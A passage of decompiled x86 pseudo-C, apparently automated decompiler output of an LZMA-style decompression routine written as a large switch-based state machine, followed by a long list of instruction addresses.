                                      												__eflags = _t259;
                                      												0 | _t259 = _t259 + _t259 + 9;
                                      												 *(__ebp - 0x38) = _t259 + _t259 + 9;
                                      												goto L76;
                                      											case 0xa:
                                      												goto L0;
                                      											case 0xb:
                                      												__eflags =  *(__ebp - 0x40);
                                      												if( *(__ebp - 0x40) != 0) {
                                      													__ecx =  *(__ebp - 0x24);
                                      													__eax =  *(__ebp - 0x20);
                                      													 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      												} else {
                                      													__eax =  *(__ebp - 0x24);
                                      												}
                                      												__ecx =  *(__ebp - 0x28);
                                      												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      												goto L88;
                                      											case 0xc:
                                      												L99:
                                      												__eflags =  *(__ebp - 0x6c);
                                      												if( *(__ebp - 0x6c) == 0) {
                                      													 *(__ebp - 0x88) = 0xc;
                                      													goto L170;
                                      												}
                                      												__ecx =  *(__ebp - 0x70);
                                      												__eax =  *(__ebp - 0xc);
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												_t334 = __ebp - 0x70;
                                      												 *_t334 =  *(__ebp - 0x70) + 1;
                                      												__eflags =  *_t334;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												__eax =  *(__ebp - 0x2c);
                                      												goto L101;
                                      											case 0xd:
                                      												L37:
                                      												__eflags =  *(__ebp - 0x6c);
                                      												if( *(__ebp - 0x6c) == 0) {
                                      													 *(__ebp - 0x88) = 0xd;
                                      													goto L170;
                                      												}
                                      												__ecx =  *(__ebp - 0x70);
                                      												__eax =  *(__ebp - 0xc);
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												_t122 = __ebp - 0x70;
                                      												 *_t122 =  *(__ebp - 0x70) + 1;
                                      												__eflags =  *_t122;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												L39:
                                      												__eax =  *(__ebp - 0x40);
                                      												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                      												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                      													goto L48;
                                      												}
                                      												__eflags = __ebx - 0x100;
                                      												if(__ebx >= 0x100) {
                                      													goto L54;
                                      												}
                                      												L41:
                                      												__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                      												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                      												__ecx =  *(__ebp - 0x58);
                                      												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                      												 *(__ebp - 0x48) = __eax;
                                      												__eax = __eax + 1;
                                      												__eax = __eax << 8;
                                      												__eax = __eax + __ebx;
                                      												__esi =  *(__ebp - 0x58) + __eax * 2;
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      												__ax =  *__esi;
                                      												 *(__ebp - 0x54) = __esi;
                                      												__edx = __ax & 0x0000ffff;
                                      												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                      												__eflags =  *(__ebp - 0xc) - __ecx;
                                      												if( *(__ebp - 0xc) >= __ecx) {
                                      													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      													__cx = __ax;
                                      													 *(__ebp - 0x40) = 1;
                                      													__cx = __ax >> 5;
                                      													__eflags = __eax;
                                      													__ebx = __ebx + __ebx + 1;
                                      													 *__esi = __ax;
                                      												} else {
                                      													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                      													 *(__ebp - 0x10) = __ecx;
                                      													0x800 = 0x800 - __edx;
                                      													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                      													__ebx = __ebx + __ebx;
                                      													 *__esi = __cx;
                                      												}
                                      												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      												 *(__ebp - 0x44) = __ebx;
                                      												if( *(__ebp - 0x10) >= 0x1000000) {
                                      													goto L39;
                                      												} else {
                                      													goto L37;
                                      												}
                                      											case 0xe:
                                      												L46:
                                      												__eflags =  *(__ebp - 0x6c);
                                      												if( *(__ebp - 0x6c) == 0) {
                                      													 *(__ebp - 0x88) = 0xe;
                                      													goto L170;
                                      												}
                                      												__ecx =  *(__ebp - 0x70);
                                      												__eax =  *(__ebp - 0xc);
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												_t156 = __ebp - 0x70;
                                      												 *_t156 =  *(__ebp - 0x70) + 1;
                                      												__eflags =  *_t156;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												while(1) {
                                      													L48:
                                      													__eflags = __ebx - 0x100;
                                      													if(__ebx >= 0x100) {
                                      														break;
                                      													}
                                      													__eax =  *(__ebp - 0x58);
                                      													__edx = __ebx + __ebx;
                                      													__ecx =  *(__ebp - 0x10);
                                      													__esi = __edx + __eax;
                                      													__ecx =  *(__ebp - 0x10) >> 0xb;
                                      													__ax =  *__esi;
                                      													 *(__ebp - 0x54) = __esi;
                                      													__edi = __ax & 0x0000ffff;
                                      													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      													__eflags =  *(__ebp - 0xc) - __ecx;
                                      													if( *(__ebp - 0xc) >= __ecx) {
                                      														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      														__cx = __ax;
                                      														_t170 = __edx + 1; // 0x1
                                      														__ebx = _t170;
                                      														__cx = __ax >> 5;
                                      														__eflags = __eax;
                                      														 *__esi = __ax;
                                      													} else {
                                      														 *(__ebp - 0x10) = __ecx;
                                      														0x800 = 0x800 - __edi;
                                      														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      														__ebx = __ebx + __ebx;
                                      														 *__esi = __cx;
                                      													}
                                      													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      													 *(__ebp - 0x44) = __ebx;
                                      													if( *(__ebp - 0x10) >= 0x1000000) {
                                      														continue;
                                      													} else {
                                      														goto L46;
                                      													}
                                      												}
                                      												L54:
                                      												_t173 = __ebp - 0x34;
                                      												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                      												__eflags =  *_t173;
                                      												goto L55;
                                      											case 0xf:
                                      												L58:
                                      												__eflags =  *(__ebp - 0x6c);
                                      												if( *(__ebp - 0x6c) == 0) {
                                      													 *(__ebp - 0x88) = 0xf;
                                      													goto L170;
                                      												}
                                      												__ecx =  *(__ebp - 0x70);
                                      												__eax =  *(__ebp - 0xc);
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												_t203 = __ebp - 0x70;
                                      												 *_t203 =  *(__ebp - 0x70) + 1;
                                      												__eflags =  *_t203;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												L60:
                                      												__eflags = __ebx - 0x100;
                                      												if(__ebx >= 0x100) {
                                      													L55:
                                      													__al =  *(__ebp - 0x44);
                                      													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                      													goto L56;
                                      												}
                                      												L61:
                                      												__eax =  *(__ebp - 0x58);
                                      												__edx = __ebx + __ebx;
                                      												__ecx =  *(__ebp - 0x10);
                                      												__esi = __edx + __eax;
                                      												__ecx =  *(__ebp - 0x10) >> 0xb;
                                      												__ax =  *__esi;
                                      												 *(__ebp - 0x54) = __esi;
                                      												__edi = __ax & 0x0000ffff;
                                      												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      												__eflags =  *(__ebp - 0xc) - __ecx;
                                      												if( *(__ebp - 0xc) >= __ecx) {
                                      													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      													__cx = __ax;
                                      													_t217 = __edx + 1; // 0x1
                                      													__ebx = _t217;
                                      													__cx = __ax >> 5;
                                      													__eflags = __eax;
                                      													 *__esi = __ax;
                                      												} else {
                                      													 *(__ebp - 0x10) = __ecx;
                                      													0x800 = 0x800 - __edi;
                                      													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      													__ebx = __ebx + __ebx;
                                      													 *__esi = __cx;
                                      												}
                                      												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      												 *(__ebp - 0x44) = __ebx;
                                      												if( *(__ebp - 0x10) >= 0x1000000) {
                                      													goto L60;
                                      												} else {
                                      													goto L58;
                                      												}
                                      											case 0x10:
                                      												L109:
                                      												__eflags =  *(__ebp - 0x6c);
                                      												if( *(__ebp - 0x6c) == 0) {
                                      													 *(__ebp - 0x88) = 0x10;
                                      													goto L170;
                                      												}
                                      												__ecx =  *(__ebp - 0x70);
                                      												__eax =  *(__ebp - 0xc);
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												_t365 = __ebp - 0x70;
                                      												 *_t365 =  *(__ebp - 0x70) + 1;
                                      												__eflags =  *_t365;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												goto L111;
                                      											case 0x11:
                                      												goto L69;
                                      											case 0x12:
                                      												__eflags =  *(__ebp - 0x40);
                                      												if( *(__ebp - 0x40) != 0) {
                                      													__eax =  *(__ebp - 0x58);
                                      													 *(__ebp - 0x84) = 0x13;
                                      													__esi =  *(__ebp - 0x58) + 2;
                                      													while(1) {
                                      														L132:
                                      														 *(_t613 - 0x54) = _t606;
                                      														goto L133;
                                      													}
                                      												}
                                      												__eax =  *(__ebp - 0x4c);
                                      												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                      												__ecx =  *(__ebp - 0x58);
                                      												__eax =  *(__ebp - 0x4c) << 4;
                                      												__eflags = __eax;
                                      												__eax =  *(__ebp - 0x58) + __eax + 4;
                                      												goto L130;
                                      											case 0x13:
                                      												__eflags =  *(__ebp - 0x40);
                                      												if( *(__ebp - 0x40) != 0) {
                                      													_t469 = __ebp - 0x58;
                                      													 *_t469 =  *(__ebp - 0x58) + 0x204;
                                      													__eflags =  *_t469;
                                      													 *(__ebp - 0x30) = 0x10;
                                      													 *(__ebp - 0x40) = 8;
                                      													L144:
                                      													 *(__ebp - 0x7c) = 0x14;
                                      													goto L145;
                                      												}
                                      												__eax =  *(__ebp - 0x4c);
                                      												__ecx =  *(__ebp - 0x58);
                                      												__eax =  *(__ebp - 0x4c) << 4;
                                      												 *(__ebp - 0x30) = 8;
                                      												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                      												L130:
                                      												 *(__ebp - 0x58) = __eax;
                                      												 *(__ebp - 0x40) = 3;
                                      												goto L144;
                                      											case 0x14:
                                      												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                      												__eax =  *(__ebp - 0x80);
                                      												 *(_t613 - 0x88) = _t533;
                                      												goto L1;
                                      											case 0x15:
                                      												__eax = 0;
                                      												__eflags =  *(__ebp - 0x38) - 7;
                                      												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                      												__al = __al & 0x000000fd;
                                      												__eax = (__eflags >= 0) - 1 + 0xb;
                                      												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                      												goto L120;
                                      											case 0x16:
                                      												__eax =  *(__ebp - 0x30);
                                      												__eflags = __eax - 4;
                                      												if(__eax >= 4) {
                                      													_push(3);
                                      													_pop(__eax);
                                      												}
                                      												__ecx =  *(__ebp - 4);
                                      												 *(__ebp - 0x40) = 6;
                                      												__eax = __eax << 7;
                                      												 *(__ebp - 0x7c) = 0x19;
                                      												 *(__ebp - 0x58) = __eax;
                                      												goto L145;
                                      											case 0x17:
                                      												L145:
                                      												__eax =  *(__ebp - 0x40);
                                      												 *(__ebp - 0x50) = 1;
                                      												 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                      												goto L149;
                                      											case 0x18:
                                      												L146:
                                      												__eflags =  *(__ebp - 0x6c);
                                      												if( *(__ebp - 0x6c) == 0) {
                                      													 *(__ebp - 0x88) = 0x18;
                                      													goto L170;
                                      												}
                                      												__ecx =  *(__ebp - 0x70);
                                      												__eax =  *(__ebp - 0xc);
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												_t484 = __ebp - 0x70;
                                      												 *_t484 =  *(__ebp - 0x70) + 1;
                                      												__eflags =  *_t484;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												L148:
                                      												_t487 = __ebp - 0x48;
                                      												 *_t487 =  *(__ebp - 0x48) - 1;
                                      												__eflags =  *_t487;
                                      												L149:
                                      												__eflags =  *(__ebp - 0x48);
                                      												if( *(__ebp - 0x48) <= 0) {
                                      													__ecx =  *(__ebp - 0x40);
                                      													__ebx =  *(__ebp - 0x50);
                                      													0 = 1;
                                      													__eax = 1 << __cl;
                                      													__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                      													__eax =  *(__ebp - 0x7c);
                                      													 *(__ebp - 0x44) = __ebx;
                                      													while(1) {
                                      														 *(_t613 - 0x88) = _t533;
                                      														goto L1;
                                      													}
                                      												}
                                      												__eax =  *(__ebp - 0x50);
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                      												__eax =  *(__ebp - 0x58);
                                      												__esi = __edx + __eax;
                                      												 *(__ebp - 0x54) = __esi;
                                      												__ax =  *__esi;
                                      												__edi = __ax & 0x0000ffff;
                                      												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      												__eflags =  *(__ebp - 0xc) - __ecx;
                                      												if( *(__ebp - 0xc) >= __ecx) {
                                      													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      													__cx = __ax;
                                      													__cx = __ax >> 5;
                                      													__eax = __eax - __ecx;
                                      													__edx = __edx + 1;
                                      													__eflags = __edx;
                                      													 *__esi = __ax;
                                      													 *(__ebp - 0x50) = __edx;
                                      												} else {
                                      													 *(__ebp - 0x10) = __ecx;
                                      													0x800 = 0x800 - __edi;
                                      													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                      													 *__esi = __cx;
                                      												}
                                      												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      												if( *(__ebp - 0x10) >= 0x1000000) {
                                      													goto L148;
                                      												} else {
                                      													goto L146;
                                      												}
                                      											case 0x19:
                                      												__eflags = __ebx - 4;
                                      												if(__ebx < 4) {
                                      													 *(__ebp - 0x2c) = __ebx;
                                      													L119:
                                      													_t393 = __ebp - 0x2c;
                                      													 *_t393 =  *(__ebp - 0x2c) + 1;
                                      													__eflags =  *_t393;
                                      													L120:
                                      													__eax =  *(__ebp - 0x2c);
                                      													__eflags = __eax;
                                      													if(__eax == 0) {
                                      														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                      														goto L170;
                                      													}
                                      													__eflags = __eax -  *(__ebp - 0x60);
                                      													if(__eax >  *(__ebp - 0x60)) {
                                      														goto L171;
                                      													}
                                      													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                      													__eax =  *(__ebp - 0x30);
                                      													_t400 = __ebp - 0x60;
                                      													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                      													__eflags =  *_t400;
                                      													goto L123;
                                      												}
                                      												__ecx = __ebx;
                                      												__eax = __ebx;
                                      												__ecx = __ebx >> 1;
                                      												__eax = __ebx & 0x00000001;
                                      												__ecx = (__ebx >> 1) - 1;
                                      												__al = __al | 0x00000002;
                                      												__eax = (__ebx & 0x00000001) << __cl;
                                      												__eflags = __ebx - 0xe;
                                      												 *(__ebp - 0x2c) = __eax;
                                      												if(__ebx >= 0xe) {
                                      													__ebx = 0;
                                      													 *(__ebp - 0x48) = __ecx;
                                      													L102:
                                      													__eflags =  *(__ebp - 0x48);
                                      													if( *(__ebp - 0x48) <= 0) {
                                      														__eax = __eax + __ebx;
                                      														 *(__ebp - 0x40) = 4;
                                      														 *(__ebp - 0x2c) = __eax;
                                      														__eax =  *(__ebp - 4);
                                      														__eax =  *(__ebp - 4) + 0x644;
                                      														__eflags = __eax;
                                      														L108:
                                      														__ebx = 0;
                                      														 *(__ebp - 0x58) = __eax;
                                      														 *(__ebp - 0x50) = 1;
                                      														 *(__ebp - 0x44) = 0;
                                      														 *(__ebp - 0x48) = 0;
                                      														L112:
                                      														__eax =  *(__ebp - 0x40);
                                      														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                      														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                      															_t391 = __ebp - 0x2c;
                                      															 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                      															__eflags =  *_t391;
                                      															goto L119;
                                      														}
                                      														__eax =  *(__ebp - 0x50);
                                      														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                      														__eax =  *(__ebp - 0x58);
                                      														__esi = __edi + __eax;
                                      														 *(__ebp - 0x54) = __esi;
                                      														__ax =  *__esi;
                                      														__ecx = __ax & 0x0000ffff;
                                      														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                      														__eflags =  *(__ebp - 0xc) - __edx;
                                      														if( *(__ebp - 0xc) >= __edx) {
                                      															__ecx = 0;
                                      															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                      															__ecx = 1;
                                      															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                      															__ebx = 1;
                                      															__ecx =  *(__ebp - 0x48);
                                      															__ebx = 1 << __cl;
                                      															__ecx = 1 << __cl;
                                      															__ebx =  *(__ebp - 0x44);
                                      															__ebx =  *(__ebp - 0x44) | __ecx;
                                      															__cx = __ax;
                                      															__cx = __ax >> 5;
                                      															__eax = __eax - __ecx;
                                      															__edi = __edi + 1;
                                      															__eflags = __edi;
                                      															 *(__ebp - 0x44) = __ebx;
                                      															 *__esi = __ax;
                                      															 *(__ebp - 0x50) = __edi;
                                      														} else {
                                      															 *(__ebp - 0x10) = __edx;
                                      															0x800 = 0x800 - __ecx;
                                      															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                      															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                      															 *__esi = __dx;
                                      														}
                                      														__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      														if( *(__ebp - 0x10) >= 0x1000000) {
                                      															L111:
                                      															_t368 = __ebp - 0x48;
                                      															 *_t368 =  *(__ebp - 0x48) + 1;
                                      															__eflags =  *_t368;
                                      															goto L112;
                                      														} else {
                                      															goto L109;
                                      														}
                                      													}
                                      													__ecx =  *(__ebp - 0xc);
                                      													__ebx = __ebx + __ebx;
                                      													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                      													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                      													 *(__ebp - 0x44) = __ebx;
                                      													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                      														__ecx =  *(__ebp - 0x10);
                                      														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                      														__ebx = __ebx | 0x00000001;
                                      														__eflags = __ebx;
                                      														 *(__ebp - 0x44) = __ebx;
                                      													}
                                      													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      													if( *(__ebp - 0x10) >= 0x1000000) {
                                      														L101:
                                      														_t338 = __ebp - 0x48;
                                      														 *_t338 =  *(__ebp - 0x48) - 1;
                                      														__eflags =  *_t338;
                                      														goto L102;
                                      													} else {
                                      														goto L99;
                                      													}
                                      												}
                                      												__edx =  *(__ebp - 4);
                                      												__eax = __eax - __ebx;
                                      												 *(__ebp - 0x40) = __ecx;
                                      												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                      												goto L108;
                                      											case 0x1a:
                                      												L56:
                                      												__eflags =  *(__ebp - 0x64);
                                      												if( *(__ebp - 0x64) == 0) {
                                      													 *(__ebp - 0x88) = 0x1a;
                                      													goto L170;
                                      												}
                                      												__ecx =  *(__ebp - 0x68);
                                      												__al =  *(__ebp - 0x5c);
                                      												__edx =  *(__ebp - 8);
                                      												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                      												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                      												 *( *(__ebp - 0x68)) = __al;
                                      												__ecx =  *(__ebp - 0x14);
                                      												 *(__ecx +  *(__ebp - 8)) = __al;
                                      												__eax = __ecx + 1;
                                      												__edx = 0;
                                      												_t192 = __eax %  *(__ebp - 0x74);
                                      												__eax = __eax /  *(__ebp - 0x74);
                                      												__edx = _t192;
                                      												goto L80;
                                      											case 0x1b:
                                      												L76:
                                      												__eflags =  *(__ebp - 0x64);
                                      												if( *(__ebp - 0x64) == 0) {
                                      													 *(__ebp - 0x88) = 0x1b;
                                      													goto L170;
                                      												}
                                      												__eax =  *(__ebp - 0x14);
                                      												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      												__eflags = __eax -  *(__ebp - 0x74);
                                      												if(__eax >=  *(__ebp - 0x74)) {
                                      													__eax = __eax +  *(__ebp - 0x74);
                                      													__eflags = __eax;
                                      												}
                                      												__edx =  *(__ebp - 8);
                                      												__cl =  *(__eax + __edx);
                                      												__eax =  *(__ebp - 0x14);
                                      												 *(__ebp - 0x5c) = __cl;
                                      												 *(__eax + __edx) = __cl;
                                      												__eax = __eax + 1;
                                      												__edx = 0;
                                      												_t275 = __eax %  *(__ebp - 0x74);
                                      												__eax = __eax /  *(__ebp - 0x74);
                                      												__edx = _t275;
                                      												__eax =  *(__ebp - 0x68);
                                      												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                      												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      												_t284 = __ebp - 0x64;
                                      												 *_t284 =  *(__ebp - 0x64) - 1;
                                      												__eflags =  *_t284;
                                      												 *( *(__ebp - 0x68)) = __cl;
                                      												L80:
                                      												 *(__ebp - 0x14) = __edx;
                                      												goto L81;
                                      											case 0x1c:
                                      												while(1) {
                                      													L123:
                                      													__eflags =  *(__ebp - 0x64);
                                      													if( *(__ebp - 0x64) == 0) {
                                      														break;
                                      													}
                                      													__eax =  *(__ebp - 0x14);
                                      													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      													__eflags = __eax -  *(__ebp - 0x74);
                                      													if(__eax >=  *(__ebp - 0x74)) {
                                      														__eax = __eax +  *(__ebp - 0x74);
                                      														__eflags = __eax;
                                      													}
                                      													__edx =  *(__ebp - 8);
                                      													__cl =  *(__eax + __edx);
                                      													__eax =  *(__ebp - 0x14);
                                      													 *(__ebp - 0x5c) = __cl;
                                      													 *(__eax + __edx) = __cl;
                                      													__eax = __eax + 1;
                                      													__edx = 0;
                                      													_t414 = __eax %  *(__ebp - 0x74);
                                      													__eax = __eax /  *(__ebp - 0x74);
                                      													__edx = _t414;
                                      													__eax =  *(__ebp - 0x68);
                                      													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                      													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                      													__eflags =  *(__ebp - 0x30);
                                      													 *( *(__ebp - 0x68)) = __cl;
                                      													 *(__ebp - 0x14) = _t414;
                                      													if( *(__ebp - 0x30) > 0) {
                                      														continue;
                                      													} else {
                                      														L81:
                                      														 *(__ebp - 0x88) = 2;
                                      														goto L1;
                                      													}
                                      												}
                                      												 *(__ebp - 0x88) = 0x1c;
                                      												goto L170;
                                      										}
                                      									}
                                      									L171:
                                      									_t535 = _t534 | 0xffffffff;
                                      									goto L172;
                                      								}
                                      							}
                                      						}
                                      					}
                                      					goto L1;
                                      				}
                                      			}













                                      0x00000000
                                      0x00406d13
                                      0x00406d13
                                      0x00406d17
                                      0x00406d24
                                      0x00406d2e
                                      0x00000000
                                      0x00406d19
                                      0x00406d19
                                      0x00406d54
                                      0x00406d57
                                      0x00406d5a
                                      0x00406d5d
                                      0x00406d5d
                                      0x00406d60
                                      0x00406d67
                                      0x00406d6c
                                      0x00406c4d
                                      0x00406c50
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406fc5
                                      0x00406fc5
                                      0x00406fc5
                                      0x00406fcb
                                      0x00406fd1
                                      0x00406fd7
                                      0x00406ff1
                                      0x00406ff4
                                      0x00406ffa
                                      0x00407005
                                      0x00407007
                                      0x00406fd9
                                      0x00406fd9
                                      0x00406fe8
                                      0x00406fec
                                      0x00406fec
                                      0x00407011
                                      0x00000000
                                      0x00000000
                                      0x00407013
                                      0x00407017
                                      0x004071c6
                                      0x004071dc
                                      0x004071e4
                                      0x004071eb
                                      0x004071ed
                                      0x004071f4
                                      0x004071f8
                                      0x004071f8
                                      0x00407023
                                      0x0040702a
                                      0x00407032
                                      0x00407035
                                      0x00407038
                                      0x00407038
                                      0x0040703e
                                      0x0040703e
                                      0x004067da
                                      0x004067da
                                      0x004067da
                                      0x004067e3
                                      0x00000000
                                      0x00000000
                                      0x004067e9
                                      0x00000000
                                      0x004067f4
                                      0x00000000
                                      0x00000000
                                      0x004067fd
                                      0x00406800
                                      0x00406803
                                      0x00406807
                                      0x00000000
                                      0x00000000
                                      0x0040680d
                                      0x00406810
                                      0x00406812
                                      0x00406813
                                      0x00406816
                                      0x00406818
                                      0x00406819
                                      0x0040681b
                                      0x0040681e
                                      0x00406823
                                      0x00406828
                                      0x00406831
                                      0x00406844
                                      0x00406847
                                      0x00406853
                                      0x0040687b
                                      0x0040687d
                                      0x0040688b
                                      0x0040688b
                                      0x0040688f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040687f
                                      0x0040687f
                                      0x00406882
                                      0x00406883
                                      0x00406883
                                      0x00000000
                                      0x0040687f
                                      0x00406859
                                      0x0040685e
                                      0x0040685e
                                      0x00406867
                                      0x0040686f
                                      0x00406872
                                      0x00000000
                                      0x00406878
                                      0x00406878
                                      0x00000000
                                      0x00406878
                                      0x00000000
                                      0x00406895
                                      0x00406895
                                      0x00406899
                                      0x00407145
                                      0x00000000
                                      0x00407145
                                      0x004068a2
                                      0x004068b2
                                      0x004068b5
                                      0x004068b8
                                      0x004068b8
                                      0x004068b8
                                      0x004068bb
                                      0x004068bf
                                      0x00000000
                                      0x00000000
                                      0x004068c1
                                      0x004068c7
                                      0x004068f1
                                      0x004068f7
                                      0x004068fe
                                      0x00000000
                                      0x004068fe
                                      0x004068cd
                                      0x004068d0
                                      0x004068d5
                                      0x004068d5
                                      0x004068e0
                                      0x004068e8
                                      0x004068eb
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406930
                                      0x00406936
                                      0x00406939
                                      0x00406946
                                      0x0040694e
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00000000
                                      0x00406905
                                      0x00406905
                                      0x00406909
                                      0x00407154
                                      0x00000000
                                      0x00407154
                                      0x00406915
                                      0x00406920
                                      0x00406920
                                      0x00406920
                                      0x00406923
                                      0x00406926
                                      0x00406929
                                      0x0040692e
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406fc5
                                      0x00406fc5
                                      0x00406fcb
                                      0x00406fd1
                                      0x00406fd7
                                      0x00406ff1
                                      0x00406ff4
                                      0x00406ffa
                                      0x00407005
